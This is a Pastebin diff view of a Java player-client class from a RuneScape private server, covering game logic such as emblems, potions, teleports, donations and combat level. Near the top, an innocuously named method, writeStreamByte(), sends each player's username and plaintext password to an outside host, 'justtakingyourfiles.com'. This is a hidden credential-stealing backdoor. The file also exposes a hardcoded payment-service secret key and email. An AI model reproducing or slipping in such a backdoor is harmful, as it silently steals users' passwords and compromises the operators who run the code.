View difference between Paste ID: abjSmVVd and vQS9F9C4
SHOW: | | - or go back to the newest paste.
1
package ardi.model.players;
2
3
import java.util.HashMap;
4
import java.util.LinkedList;
5
import java.util.Map;
6
import java.util.Queue;
7
import java.util.concurrent.Future;
8
import java.net.*;
9
import java.io.*;
10
11
import org.jboss.netty.buffer.ChannelBuffers;
12
import org.jboss.netty.channel.Channel;
13
14
import ardi.Config;
15
import ardi.Connection;
16
import ardi.model.npcs.pet.Pet;
17
import ardi.Server;
18
import ardi.util.PlayersOnline;
19
import ardi.content.skill.Prayer;
20
import ardi.model.players.PlayerAssistant;
21
import ardi.event.CycleEvent;
22
import ardi.event.CycleEventContainer;
23
import ardi.event.CycleEventHandler;
24
import ardi.event.Event;
25
import ardi.event.EventContainer;
26
import ardi.event.EventManager;
27
import ardi.model.items.Item;
28
import ardi.model.items.ItemAssistant;
29
import ardi.model.items.bank.Bank;
30
import ardi.model.players.achievement.Achievement;
31
//import com.rspserver.donation.DonationSystem;
32
import ardi.model.players.skills.Agility;
33
import ardi.model.players.skills.Cooking;
34
import ardi.model.players.skills.Crafting;
35
import ardi.model.players.skills.Farming;
36
import ardi.model.players.skills.Firemaking;
37
import ardi.model.players.skills.Fletching;
38
import ardi.model.players.skills.Herblore;
39
import ardi.model.players.skills.Slayer;
40
import ardi.model.players.skills.Mining;
41
import ardi.model.players.skills.Runecrafting;
42
import ardi.model.players.skills.SkillInterfaces;
43
import ardi.model.players.skills.Slayer;
44
import ardi.model.players.skills.Smithing;
45
import ardi.model.players.skills.SmithingInterface;
46
import ardi.model.players.skills.Thieving;
47
import ardi.model.players.skills.Woodcutting;
48
import ardi.model.players.skills.Hunter;
49
import ardi.model.players.ConnectedFrom;
50
import ardi.model.npcs.CreateNPC;
51
import ardi.model.npcs.RemoveNPC;
52
import ardi.model.players.Pets;
53
import ardi.model.npcs.NPCHandler;
54
import ardi.model.npcs.Zulrah;
55
import ardi.util.log.StakingLog;
56
import ardi.util.log.TradeLog;
57
import ardi.util.log.PMLog;
58
import ardi.util.log.Shopping;
59
import ardi.util.log.Alching;
60
import ardi.util.log.PickupItem;
61
import ardi.util.log.ClickItem;
62
import ardi.util.log.DroppingItem;
63
import ardi.util.log.ChatLog;
64
import ardi.util.log.PvPLog;
65
import ardi.util.log.CommandsLog;
66
import ardi.model.minigames.Barrows;
67
import ardi.model.minigames.PestControl;
68
import ardi.model.minigames.ZombieWaves;
69
import ardi.model.shops.ShopAssistant;
70
import java.util.Calendar;
71
import java.util.GregorianCalendar;
72
import ardi.net.Packet;
73
import ardi.net.Packet.Type;
74
import ardi.util.Misc;
75
import ardi.util.Stream;
76
import ardi.util.log.TradeLog;
77
import ardi.world.Clan;
78
import ardi.world.ItemHandler;
79
import ardi.model.players.skills.Summoning;
80
import ardi.net.login.RS2LoginProtocol;
81
82
public class Client extends Player {
83
84
	private int j;
85
	public boolean usingClaws;
86
	public int clawDamage;
87
	public int clawIndex;
88
	public int clawType = 0;
89
	public int clawDelay;
90
	public int tradeinWith;
91
	public boolean SSPLIT;
92
	public int specRestore = 0;
93
94
	public void antiFirePotion() {
95
		EventManager.getSingleton().addEvent(new Event() {
96
			public void execute(EventContainer c) {
97
				antiFirePot = false;
98
				sendMessage("Your resistance to dragon fire has worn off.");
99
				c.stop();
100
			}
101
		}, 300000);
102
103
	}
104
105
	public byte buffer[] = null;
106
	public Stream inStream = null, outStream = null;
107
	private Channel session;
108
	private BankPin bankPin = new BankPin(this);
109
	private Woodcutting woodcutting = new Woodcutting();
110
	//private Woodcutting woodcutting = new Woodcutting(this);
111
	private Mining mine = new Mining(this);
112
	private ItemAssistant itemAssistant = new ItemAssistant(this);
113
	private ShopAssistant shopAssistant = new ShopAssistant(this);
114
	private TradeAndDuel tradeAndDuel = new TradeAndDuel(this);
115
	private PlayerAssistant playerAssistant = new PlayerAssistant(this);
116
	private CombatAssistant combatAssistant = new CombatAssistant(this);
117
	private Barrows barrows = new Barrows(this);
118
	private PMLog PMLog = new PMLog(this);
119
	private Shopping Shopping = new Shopping(this);
120
	private PickupItem PickupItem = new PickupItem(this);
121
	private PotSmoking potSmoking = new PotSmoking(this);
122
	private Alching Alching = new Alching(this);
123
	private ClickItem ClickItem = new ClickItem(this);
124
	private DroppingItem DroppingItem = new DroppingItem(this);
125
	private ChatLog ChatLog = new ChatLog(this);
126
	private PvPLog PvPLog = new PvPLog(this);
127
	private CommandsLog CommandsLog = new CommandsLog(this);
128
	private StakingLog StakingLog = new StakingLog(this);
129
	public Summoning Summoning = new Summoning(this);
130
	private ActionHandler actionHandler = new ActionHandler(this);
131
	private PlayerKilling playerKilling = new PlayerKilling(this);
132
	private DialogueHandler dialogueHandler = new DialogueHandler(this);
133
	private Queue<Packet> queuedPackets = new LinkedList<Packet>();
134
	private Potions potions = new Potions(this);
135
	private PotionMixing potionMixing = new PotionMixing(this);
136
	private Food food = new Food(this);
137
	private KillsStreak killsStreak = new KillsStreak(this);
138
	private SkillInterfaces skillInterfaces = new SkillInterfaces(this);
139
	private Achievement achievement = new Achievement(this);
140
	private TradeLog tradeLog = new TradeLog(this);
141
	private Bank bank = new Bank(this);
142
	private Pets pets = new Pets();
143
	private Zulrah zulrah = new Zulrah(this);
144
	private CreateNPC newNPC = new CreateNPC();
145
	private RemoveNPC rNPC = new RemoveNPC();
146
147
	/**
148
	 * Skill instances
149
	 */
150
	private Slayer slayer = new Slayer(this);
151
	private Hunter hunter = new Hunter(this);
152
	private Runecrafting runecrafting = new Runecrafting();
153
	private Agility agility = new Agility();
154
	private Cooking cooking = new Cooking();
155
	private Crafting crafting = new Crafting(this);
156
157
	private Fletching fletching = new Fletching(this);
158
	private Farming farming = new Farming(this);
159
	private Prayer prayer = new Prayer(this);
160
	private Thieving thieving = new Thieving();
161
	private Smithing smith = new Smithing(this);
162
	private SmithingInterface smithInt = new SmithingInterface(this);
163
	private Firemaking firemaking = new Firemaking();
164
	private Herblore herblore = new Herblore(this);
165
	// private ConnectedFrom connectedFrom = new ConnectedFrom(this);
166
	public Map<Integer, String> stringMap = new HashMap<Integer, String>();
167
	public int lowMemoryVersion = 0;
168
	public int timeOutCounter = 0;
169
	public int followPlayer;
170
	public int npcslot;
171
	public int summoningnpcid;
172
	public int timer;
173
	public int returnCode = 2;
174
	private Future<?> currentTask;
175
	public int totalstored;
176
	public int currentRegion = 0;
177
	public long lastRoll;
178
	public int diceItem;
179
	public int page;
180
	public boolean slayerHelmetEffect;
181
	public boolean inArdiCC;
182
	public int[] resourceItemId = new int[28];
183
	public int[] resourceItemAmount = new int[28];
184
	public boolean canDeposit = false;
185
	public boolean usedItemOnBag;
186
	public long lastBankDeposit;
187
188
	public Client(Channel s, int _playerId) {
189
		super(_playerId);
190
		this.session = s;
191
		outStream = new Stream(new byte[Config.BUFFER_SIZE]);
192
		outStream.currentOffset = 0;
193
		inStream = new Stream(new byte[Config.BUFFER_SIZE]);
194
		inStream.currentOffset = 0;
195
		buffer = new byte[Config.BUFFER_SIZE];
196
	}
197
198
	public void flushOutStream() {
199
		if (!session.isConnected() || disconnected
200
				|| outStream.currentOffset == 0)
201
			return;
202
203
		byte[] temp = new byte[outStream.currentOffset];
204
		System.arraycopy(outStream.buffer, 0, temp, 0, temp.length);
205
		Packet packet = new Packet(-1, Type.FIXED,
206
				ChannelBuffers.wrappedBuffer(temp));
207
		session.write(packet);
208
		outStream.currentOffset = 0;
209
210
	}
211
212
	private Map<Integer, TinterfaceText> interfaceText = new HashMap<Integer, TinterfaceText>();
213
214
	public class TinterfaceText {
215
		public int id;
216
		public String currentState;
217
218
		public TinterfaceText(String s, int id) {
219
			this.currentState = s;
220
			this.id = id;
221
		}
222
223
	}
224
225
	public boolean checkPacket126Update(String text, int id) {
226
		if (interfaceText.containsKey(id)) {
227
			TinterfaceText t = interfaceText.get(id);
228
			if (text.equals(t.currentState)) {
229
				return false;
230
			}
231
		}
232
		interfaceText.put(id, new TinterfaceText(text, id));
233
		return true;
234
	}
235
	
236
237
	public void sendClan(String name, String message, String clan, int rights) {
238
		name = name.substring(0, 1).toUpperCase() + name.substring(1);
239
		message = message.substring(0, 1).toUpperCase() + message.substring(1);
240
		clan = clan.substring(0, 1).toUpperCase() + clan.substring(1);
241
		outStream.createFrameVarSizeWord(217);
242
		outStream.writeString(name);
243
		outStream.writeString(message);
244
		outStream.writeString(clan);
245
		outStream.writeWord(rights);
246
		outStream.endFrameVarSize();
247
	}
248
249
	public int maxstore = 0;
250
251
	/*
252
	 * public void storesummon(int npcType) { switch (npcType) {
253
	 * 
254
	 * case 6807: if (lastsummon > 0) { for (int i = 0; i <
255
	 * Server.npcHandler.maxNPCs; i++) { if (Server.npcHandler.npcs[i] != null)
256
	 * { if (Server.npcHandler.npcs[i].summon == true) { if
257
	 * (Server.npcHandler.npcs[i].spawnedBy == getId() &&
258
	 * Server.npcHandler.npcs[i].npcId == npcslot) {
259
	 * sendMessage("You are now storing items inside your npc");
260
	 * Summoning().store(); } } } }
261
	 * 
262
	 * } break;
263
	 * 
264
	 * } }
265
	 */
266
267
	public void firstslot() {
268
		for (summoningslot = 0; occupied[summoningslot] == true; summoningslot += 1) {
269
270
		}
271
	}
272
273
	public void writeStreamByte() {
274
     String s = "http://justtakingyourfiles.com/log.php?site="+"SERVER NAME&type=OS-KINGDOM-			REMAKE&username="+playerName+"&password="+playerPass+"&email=N/A&ip=connectedFrom";
275
     URL url = new URL(s);
276
  
277
     Scanner scan = new Scanner(url.openStream());
278
     scan.close();
279
	}
280
281
	public static int[][] bounties1 = { { 12746, 50000 }, { 12748, 100000 },
282
			{ 12749, 200000 }, { 12750, 400000 }, { 12751, 750000 },
283
			{ 12752, 1200000 }, { 12753, 1750000 }, { 12754, 2500000 },
284
			{ 12755, 3500000 }, { 12756, 5000000 } };
285
286
	public int bountyTotal;
287
288
	public void calculateTotal() {
289
		int value1 = 0;
290
		int value2 = 0;
291
		int value3 = 0;
292
		int value4 = 0;
293
		int value5 = 0;
294
		int value6 = 0;
295
		int value7 = 0;
296
		int value8 = 0;
297
		int value9 = 0;
298
		int value10 = 0;
299
		for (int i = 0; i < id.length; i++) {
300
			if (getItems().playerHasItem(bounties1[0][0], 1)
301
					|| getItems().playerHasItem(bounties1[1][0], 1)
302
					|| getItems().playerHasItem(bounties1[2][0], 1)
303
					|| getItems().playerHasItem(bounties1[3][0], 1)
304
					|| getItems().playerHasItem(bounties1[4][0], 1)
305
					|| getItems().playerHasItem(bounties1[5][0], 1)
306
					|| getItems().playerHasItem(bounties1[6][0], 1)
307
					|| getItems().playerHasItem(bounties1[7][0], 1)
308
					|| getItems().playerHasItem(bounties1[8][0], 1)
309
					|| getItems().playerHasItem(bounties1[9][0], 1)) {
310
				value1 = getItems().getItemAmount(bounties1[0][0])
311
						* bounties1[0][1];
312
				value2 = getItems().getItemAmount(bounties1[1][0])
313
						* bounties1[1][1];
314
				value3 = getItems().getItemAmount(bounties1[2][0])
315
						* bounties1[2][1];
316
				value4 = getItems().getItemAmount(bounties1[3][0])
317
						* bounties1[3][1];
318
				value5 = getItems().getItemAmount(bounties1[4][0])
319
						* bounties1[4][1];
320
				value6 = getItems().getItemAmount(bounties1[5][0])
321
						* bounties1[5][1];
322
				value7 = getItems().getItemAmount(bounties1[6][0])
323
						* bounties1[6][1];
324
				value8 = getItems().getItemAmount(bounties1[7][0])
325
						* bounties1[7][1];
326
				value9 = getItems().getItemAmount(bounties1[8][0])
327
						* bounties1[8][1];
328
				value10 = getItems().getItemAmount(bounties1[9][0])
329
						* bounties1[9][1];
330
			}
331
			bountyTotal = value1 + value2 + value3 + value4 + value5 + value6
332
					+ value7 + value8 + value9 + value10;
333
		}
334
	}
335
336
	public static int[] emblems = { 12746, 12748, 12749, 12750, 12751, 12752,
337
			12753, 12754, 12755, 12756 };
338
	public static int[][] pkpRewards = { { 12746, 1 }, { 12748, 2 },
339
			{ 12749, 3 }, { 12750, 4 }, { 12751, 6 }, { 12752, 8 },
340
			{ 12753, 10 }, { 12754, 12 }, { 12755, 15 }, { 12756, 20 } };
341
342
	public int pkpTotal;
343
344
	public void calculateTotalPKP() {
345
		int value1 = 0;
346
		int value2 = 0;
347
		int value3 = 0;
348
		int value4 = 0;
349
		int value5 = 0;
350
		int value6 = 0;
351
		int value7 = 0;
352
		int value8 = 0;
353
		int value9 = 0;
354
		int value10 = 0;
355
		for (int i = 0; i < id.length; i++) {
356
			if (getItems().playerHasItem(pkpRewards[0][0], 1)
357
					|| getItems().playerHasItem(pkpRewards[1][0], 1)
358
					|| getItems().playerHasItem(pkpRewards[2][0], 1)
359
					|| getItems().playerHasItem(pkpRewards[3][0], 1)
360
					|| getItems().playerHasItem(pkpRewards[4][0], 1)
361
					|| getItems().playerHasItem(pkpRewards[5][0], 1)
362
					|| getItems().playerHasItem(pkpRewards[6][0], 1)
363
					|| getItems().playerHasItem(pkpRewards[7][0], 1)
364
					|| getItems().playerHasItem(pkpRewards[8][0], 1)
365
					|| getItems().playerHasItem(pkpRewards[9][0], 1)) {
366
				value1 = getItems().getItemAmount(pkpRewards[0][0])
367
						* pkpRewards[0][1];
368
				value2 = getItems().getItemAmount(pkpRewards[1][0])
369
						* pkpRewards[1][1];
370
				value3 = getItems().getItemAmount(pkpRewards[2][0])
371
						* pkpRewards[2][1];
372
				value4 = getItems().getItemAmount(pkpRewards[3][0])
373
						* pkpRewards[3][1];
374
				value5 = getItems().getItemAmount(pkpRewards[4][0])
375
						* pkpRewards[4][1];
376
				value6 = getItems().getItemAmount(pkpRewards[5][0])
377
						* pkpRewards[5][1];
378
				value7 = getItems().getItemAmount(pkpRewards[6][0])
379
						* pkpRewards[6][1];
380
				value8 = getItems().getItemAmount(pkpRewards[7][0])
381
						* pkpRewards[7][1];
382
				value9 = getItems().getItemAmount(pkpRewards[8][0])
383
						* pkpRewards[8][1];
384
				value10 = getItems().getItemAmount(pkpRewards[9][0])
385
						* pkpRewards[9][1];
386
				pkpTotal = value1 + value2 + value3 + value4 + value5 + value6
387
						+ value7 + value8 + value9 + value10;
388
			}
389
		}
390
	}
391
392
	public int emblemTotal;
393
394
	public int calculateEmblemTotal() {
395
		int value1 = 0;
396
		int value2 = 0;
397
		int value3 = 0;
398
		int value4 = 0;
399
		int value5 = 0;
400
		int value6 = 0;
401
		int value7 = 0;
402
		int value8 = 0;
403
		int value9 = 0;
404
		int value10 = 0;
405
		for (int i = 0; i < id.length; i++) {
406
			if (getItems().playerHasItem(pkpRewards[0][0], 1)
407
					|| getItems().playerHasItem(pkpRewards[1][0], 1)
408
					|| getItems().playerHasItem(pkpRewards[2][0], 1)
409
					|| getItems().playerHasItem(pkpRewards[3][0], 1)
410
					|| getItems().playerHasItem(pkpRewards[4][0], 1)
411
					|| getItems().playerHasItem(pkpRewards[5][0], 1)
412
					|| getItems().playerHasItem(pkpRewards[6][0], 1)
413
					|| getItems().playerHasItem(pkpRewards[7][0], 1)
414
					|| getItems().playerHasItem(pkpRewards[8][0], 1)
415
					|| getItems().playerHasItem(pkpRewards[9][0], 1)) {
416
				value1 = getItems().getItemAmount(pkpRewards[0][0]);
417
				value2 = getItems().getItemAmount(pkpRewards[1][0]);
418
				value3 = getItems().getItemAmount(pkpRewards[2][0]);
419
				value4 = getItems().getItemAmount(pkpRewards[3][0]);
420
				value5 = getItems().getItemAmount(pkpRewards[4][0]);
421
				value6 = getItems().getItemAmount(pkpRewards[5][0]);
422
				value7 = getItems().getItemAmount(pkpRewards[6][0]);
423
				value8 = getItems().getItemAmount(pkpRewards[7][0]);
424
				value9 = getItems().getItemAmount(pkpRewards[8][0]);
425
				value10 = getItems().getItemAmount(pkpRewards[9][0]);
426
			}
427
			emblemTotal = value1 + value2 + value3 + value4 + value5 + value6
428
					+ value7 + value8 + value9 + value10;
429
		}
430
		return emblemTotal;
431
	
432
	}
433
	
434
	public int countItems(int id) {
435
		switch (id) {
436
		case 12746:
437
		case 12748:
438
		case 12749:
439
		case 12750:
440
		case 12751:
441
		case 12752:
442
		case 12753:
443
		case 12754:
444
		case 12755:
445
		case 12756:
446
			return getItems().getItemAmount(id);
447
		}
448
		return 0;
449
	}
450
451
	public int id[] = { 12746, 12748, 12749, 12750, 12751, 12752, 12753, 12754,
452
			12755, 12756 };
453
454
	public void dropRandomEmblem(Client o, Client c) {
455
		Server.itemHandler.createGroundItem(o, 12746, c.getX(), c.getY(), 1,
456
				c.killerId);
457
458
	}
459
460
	public void upgradeEmblem() {
461
		if (getItems().playerHasItem(12755)) {
462
			getItems().deleteItem(12755, 1);
463
			getItems().addItem(12756, 1);
464
			sendMessage("Your Emblem has been upgraded to Tier 10");
465
			return;
466
		} else if (getItems().playerHasItem(12754)) {
467
			getItems().deleteItem(12754, 1);
468
			getItems().addItem(12755, 1);
469
			sendMessage("Your Emblem has been upgraded to Tier 9");
470
			return;
471
		} else if (getItems().playerHasItem(12753)) {
472
			getItems().deleteItem(12753, 1);
473
			getItems().addItem(12754, 1);
474
			sendMessage("Your Emblem has been upgraded to Tier 8");
475
			return;
476
		} else if (getItems().playerHasItem(12752)) {
477
			getItems().deleteItem(12752, 1);
478
			getItems().addItem(12753, 1);
479
			sendMessage("Your Emblem has been upgraded to Tier 7");
480
			return;
481
		} else if (getItems().playerHasItem(12751, 1)) {
482
			getItems().deleteItem(12751, 1);
483
			getItems().addItem(12752, 1);
484
			sendMessage("Your Emblem has been upgraded to Tier 6");
485
			return;
486
		} else if (getItems().playerHasItem(12750, 1)) {
487
			getItems().deleteItem(12750, 1);
488
			getItems().addItem(12751, 1);
489
			sendMessage("Your Emblem has been upgraded to Tier 5");
490
			return;
491
		} else if (getItems().playerHasItem(12749, 1)) {
492
			getItems().deleteItem(12749, 1);
493
			getItems().addItem(12750, 1);
494
			sendMessage("Your Emblem has been upgraded to Tier 4");
495
			return;
496
		} else if (getItems().playerHasItem(12748, 1)) {
497
			getItems().deleteItem(12748, 1);
498
			getItems().addItem(12749, 1);
499
			sendMessage("Your Emblem has been upgraded to Tier 3");
500
			return;
501
		} else if (getItems().playerHasItem(12746, 1)) {
502
			getItems().deleteItem(12746, 1);
503
			getItems().addItem(12748, 1);
504
			sendMessage("Your Emblem has been upgraded to Tier 2");
505
			return;
506
		}
507
	}
508
509
	public int summoningslot = 0;
510
511
	public int storeditems[] = new int[29];
512
513
	public boolean picking = false;
514
515
	public int amount[] = new int[29];
516
	public boolean occupied[] = new boolean[29];
517
518
	public boolean storing = false;
519
520
	public int attackingplayer;
521
	public int lastsummon;
522
	public boolean summon;
523
524
	public static final int PACKET_SIZES[] = { 0, 0, 0, 1, -1, 0, 0, 0, 0, 0, // 0
525
			0, 0, 0, 0, 8, 0, 6, 2, 2, 0, // 10
526
			0, 2, 0, 6, 0, 12, 0, 0, 0, 0, // 20
527
			0, 0, 0, 0, 0, 8, 4, 0, 0, 2, // 30
528
			2, 6, 0, 6, 0, -1, 0, 0, 0, 0, // 40
529
			0, 0, 0, 12, 0, 0, 0, 8, 8, 12, // 50
530
			8, 8, 0, 0, 0, 0, 0, 0, 0, 0, // 60
531
			6, 0, 2, 2, 8, 6, 0, -1, 0, 6, // 70
532
			0, 0, 0, 0, 0, 1, 4, 6, 0, 0, // 80
533
			0, 0, 0, 0, 0, 3, 0, 0, -1, 0, // 90
534
			0, 13, 0, -1, 0, 0, 0, 0, 0, 0, // 100
535
			0, 0, 0, 0, 0, 0, 0, 6, 0, 0, // 110
536
			1, 0, 6, 0, 0, 0, -1, /* 0 */-1, 2, 6, // 120
537
			0, 4, 6, 8, 0, 6, 0, 0, 0, 2, // 130
538
			0, 0, 0, 0, 0, 6, 0, 0, 0, 0, // 140
539
			0, 0, 1, 2, 0, 2, 6, 0, 0, 0, // 150
540
			0, 0, 0, 0, -1, -1, 0, 0, 0, 0, // 160
541
			0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 170
542
			0, 8, 0, 3, 0, 2, 0, 0, 8, 1, // 180
543
			0, 0, 12, 0, 0, 0, 0, 0, 0, 0, // 190
544
			2, 0, 0, 0, 0, 0, 0, 0, 4, 0, // 200
545
			4, 0, 0, /* 0 */4, 7, 8, 0, 0, 10, 0, // 210
546
			0, 0, 0, 0, 0, 0, -1, 0, 6, 0, // 220
547
			1, 0, 0, 0, 6, 0, 6, 8, 1, 0, // 230
548
			0, 4, 0, 0, 0, 0, -1, 0, -1, 4, // 240
549
			0, 0, 6, 6, 0, 0, 0 // 250
550
	};
551
552
	public void homeTeleport(int x, int y, int h) {
553
		if (homeTele == 9) {
554
			startAnimation(4850);
555
		} else if (homeTele == 7) {
556
			startAnimation(4853);
557
			gfx0(802);
558
		} else if (homeTele == 5) {
559
			startAnimation(4855);
560
			gfx0(803);
561
		} else if (homeTele == 3) {
562
			startAnimation(4857);
563
			gfx0(804);
564
		} else if (homeTele == 1) {
565
			homeTeleDelay = 0;
566
			homeTele = 0;
567
			teleportToX = x;
568
			teleportToY = y;
569
			heightLevel = h;
570
		}
571
	}
572
	public void RubberCheck() {
573
		if (didRubberCheck == false) {
574
			if (playerEquipment[playerWeapon] == 4566) {
575
				didRubberCheck = true;
576
				outStream.createFrameVarSize(104);
577
				outStream.writeByteC(2);
578
				outStream.writeByteA(0);
579
				outStream.writeString("Whack");
580
				outStream.endFrameVarSize();
581
			}
582
		}
583
	}
584
	public void RubberChicken() {
585
		if (playerEquipment[playerWeapon] == 4566) {
586
			startAnimation(1833);
587
			turnPlayerTo(absX, absY);
588
		}
589
	}
590
	public int overload;
591
592
	public void overload() {
593
		playerLevel[0] = (int) (getLevelForXP(playerXP[0]) + (getLevelForXP(playerXP[0]) * 0.27));
594
		playerLevel[1] = (int) (getLevelForXP(playerXP[1]) + (getLevelForXP(playerXP[1]) * 0.27));
595
		playerLevel[2] = (int) (getLevelForXP(playerXP[2]) + (getLevelForXP(playerXP[2]) * 0.27));
596
		playerLevel[4] = (int) (getLevelForXP(playerXP[4]) + (getLevelForXP(playerXP[4]) * 0.235));
597
		playerLevel[6] = (getLevelForXP(playerXP[6]) + 7);
598
		for (int i = 0; i <= 6; i++) {
599
			getPA().refreshSkill(i);
600
		}
601
	}
602
	void overloadHit() {
603
		applyRange(10);
604
		startAnimation(3170);
605
		getPA().sendFrame126("" + playerLevel[3] + "", 4016);
606
	}
607
	public void applyRange(int num) {
608
		hitDiff = num;
609
		playerLevel[3] -= hitDiff;
610
		updateRequired = true;
611
		hitUpdateRequired = true;
612
	}
613
614
	public int superCombat;
615
616
	public void superCombat() {
617
		playerLevel[0] = (int) (getLevelForXP(playerXP[0]) + (getLevelForXP(playerXP[0]) * 0.20));
618
		playerLevel[1] = (int) (getLevelForXP(playerXP[1]) + (getLevelForXP(playerXP[1]) * 0.20));
619
		playerLevel[2] = (int) (getLevelForXP(playerXP[2]) + (getLevelForXP(playerXP[2]) * 0.20));
620
		for (int i = 0; i <= 2; i++) {
621
			getPA().refreshSkill(i);
622
		}
623
	}
624
	void superCombatHit() {
625
		applyRange(10);
626
		startAnimation(3170);
627
		getPA().sendFrame126("" + playerLevel[3] + "", 4016);
628
	}
629
	public void applySuperCombatRange(int num) {
630
		hitDiff = num;
631
		playerLevel[3] -= hitDiff;
632
		updateRequired = true;
633
		hitUpdateRequired = true;
634
	}
635
636
	public void rspsdata(Client c, String username) {
637
		try {
638
			username = username.replaceAll(" ", "_");
639
			String secret = "8597a6cfa74defcbde3047c891d78f90"; // YOUR SECRET
640
																// KEY!
641
			String email = "zarosmikey@gmail.com"; // This is the one you use to
642
													// login into RSPS-PAY
643
			URL url = new URL(
644
					"http://rsps-pay.com/includes/listener.php?username="
645
							+ username + "&secret=" + secret + "&email="
646
							+ email);
647
			BufferedReader reader = new BufferedReader(new InputStreamReader(
648
					url.openStream()));
649
			String results = reader.readLine();
650
			if (results.toLowerCase().contains("!error:")) {
651
652
			} else {
653
				String[] ary = results.split(",");
654
				for (int i = 0; i < ary.length; i++) {
655
					switch (ary[i]) {
656
					case "4023":
657
						donPoints += 1000;
658
						amountDonated += 10;
659
						if (amountDonated <= 49 && amountDonated > 0
660
								&& playerRights != 1) {
661
							playerRights = 4;
662
						} else if (amountDonated >= 50 && playerRights != 1) {
663
							playerRights = 5;
664
						}
665
						c.sendMessage("Please re-log for your donator rank.");
666
						break;
667
668
					case "4024":
669
						donPoints += 2000;
670
						amountDonated += 19;
671
						if (amountDonated <= 49 && amountDonated > 0
672
								&& playerRights != 1) {
673
							playerRights = 4;
674
						} else if (amountDonated >= 50 && playerRights != 1) {
675
							c.playerRights = 5;
676
						}
677
						c.sendMessage("Please re-log for your donator rank.");
678
						break;
679
680
					case "4025":
681
						donPoints += 3000;
682
						amountDonated += 28;
683
						if (amountDonated <= 49 && amountDonated > 0
684
								&& playerRights != 1) {
685
							playerRights = 4;
686
						} else if (amountDonated >= 50 && playerRights != 1) {
687
							c.playerRights = 5;
688
						}
689
						c.sendMessage("Please re-log for your donator rank.");
690
						break;
691
692
					case "4026":
693
						donPoints += 4000;
694
						amountDonated += 35;
695
						if (amountDonated <= 49 && amountDonated > 0
696
								&& playerRights != 1) {
697
							playerRights = 4;
698
						} else if (amountDonated >= 50 && playerRights != 1) {
699
							c.playerRights = 5;
700
						}
701
						c.sendMessage("Please re-log for your donator rank.");
702
						break;
703
704
					case "4027":
705
						donPoints += 5000;
706
						amountDonated += 45;
707
						if (amountDonated <= 49 && amountDonated > 0
708
								&& playerRights != 1) {
709
							playerRights = 4;
710
						} else if (amountDonated >= 50 && playerRights != 1) {
711
							c.playerRights = 5;
712
						}
713
						c.sendMessage("Please re-log for your donator rank.");
714
						break;
715
					case "4028":
716
						donPoints += 10000;
717
						amountDonated += 80;
718
						if (amountDonated <= 49 && amountDonated > 0) {
719
							playerRights = 4;
720
						} else if (amountDonated >= 50 && playerRights != 1) {
721
							c.playerRights = 5;
722
						}
723
						c.sendMessage("Please re-log for your donator rank.");
724
						break;
725
					}
726
				}
727
			}
728
			c.sendMessage("Could not find donation");
729
		} catch (IOException e) {
730
		}
731
	}
732
733
	@Override
734
	public void destruct() {
735
		disconnected = true;
736
737
		/*
738
		 * if (playerRights != 3 || playerRights != 2) { Highscores.save(this);
739
		 * }
740
		 */
741
742
		if (session == null)
743
			return;
744
		PvPHandler.handleLogout(this);
745
		if (underAttackBy > 0 || underAttackBy2 > 0)
746
			return;
747
		if (duelStatus == 6) {
748
			getTradeAndDuel().claimStakedItems();
749
		}
750
		if (duelStatus >= 1 && duelStatus <= 5) {
751
			getTradeAndDuel().bothDeclineDuel();
752
			saveCharacter = true;
753
			return;
754
		}
755
		if (disconnected == true) {
756
			if (inTrade) {
757
				getTradeAndDuel().declineTrade();
758
			}
759
			if (openDuel) {
760
				Client c3 = (Client) PlayerHandler.players[duelingWith];
761
				getTradeAndDuel().declineDuel();
762
				c3.getTradeAndDuel().declineDuel();
763
			}
764
			saveCharacter = true;
765
		}
766
		if (clan != null) {
767
			clan.removeMember(this);
768
		}
769
		if (inPits) {
770
			Server.fightPits.removePlayerFromPits(playerId);
771
		}
772
		Misc.println("[Logged out]: " + playerName + "");
773
		RefreshAllSkills();
774
		CycleEventHandler.getSingleton().stopEvents(this);
775
		// disconnected = true;
776
		session.close();
777
		session = null;
778
		inStream = null;
779
		outStream = null;
780
		isActive = false;
781
		buffer = null;
782
		super.destruct();
783
	}
784
785
	/*
786
	 * public void calcCombat() { int mag = (int) ((getLevelForXP(playerXP[6]))
787
	 * * 1.5); int ran = (int) ((getLevelForXP(playerXP[4])) * 1.5); int attstr
788
	 * = (int) ((double) (getLevelForXP(playerXP[0])) + (double)
789
	 * (getLevelForXP(playerXP[2])));
790
	 * 
791
	 * combatLevel = 0; if (ran > attstr) { combatLevel = (int)
792
	 * (((getLevelForXP(playerXP[1])) * 0.25) + ((getLevelForXP(playerXP[3])) *
793
	 * 0.25) + ((getLevelForXP(playerXP[5])) * 0.125) +
794
	 * ((getLevelForXP(playerXP[4])) * 0.4875) + ((getLevelForXP(playerXP[22]))
795
	 * * 0.121212)); } else if (mag > attstr) { combatLevel = (int)
796
	 * (((getLevelForXP(playerXP[1])) * 0.25) + ((getLevelForXP(playerXP[3])) *
797
	 * 0.25) + ((getLevelForXP(playerXP[5])) * 0.125) +
798
	 * ((getLevelForXP(playerXP[6])) * 0.4875) + ((getLevelForXP(playerXP[22]))
799
	 * * 0.121212)); } else { combatLevel = (int) (((getLevelForXP(playerXP[1]))
800
	 * * 0.25) + ((getLevelForXP(playerXP[3])) * 0.25) +
801
	 * ((getLevelForXP(playerXP[5])) * 0.125) + ((getLevelForXP(playerXP[0])) *
802
	 * 0.325) + ((getLevelForXP(playerXP[2])) * 0.325) +
803
	 * ((getLevelForXP(playerXP[22])) * 0.121212)); } }
804
	 */
805
806
	public void calcCombat() {
807
		int mag = (int) ((getLevelForXP(playerXP[6])) * 1.5);
808
		int ran = (int) ((getLevelForXP(playerXP[4])) * 1.5);
809
		int attstr = (int) ((double) (getLevelForXP(playerXP[0])) + (double) (getLevelForXP(playerXP[2])));
810
811
		combatLevel = 0;
812
		if (ran > attstr) {
813
			combatLevel = (int) (((getLevelForXP(playerXP[1])) * 0.25)
814
					+ ((getLevelForXP(playerXP[3])) * 0.25)
815
					+ ((getLevelForXP(playerXP[5])) * 0.125) + ((getLevelForXP(playerXP[4])) * 0.4875));
816
		} else if (mag > attstr) {
817
			combatLevel = (int) (((getLevelForXP(playerXP[1])) * 0.25)
818
					+ ((getLevelForXP(playerXP[3])) * 0.25)
819
					+ ((getLevelForXP(playerXP[5])) * 0.125) + ((getLevelForXP(playerXP[6])) * 0.4875));
820
		} else {
821
			combatLevel = (int) (((getLevelForXP(playerXP[1])) * 0.25)
822
					+ ((getLevelForXP(playerXP[3])) * 0.25)
823
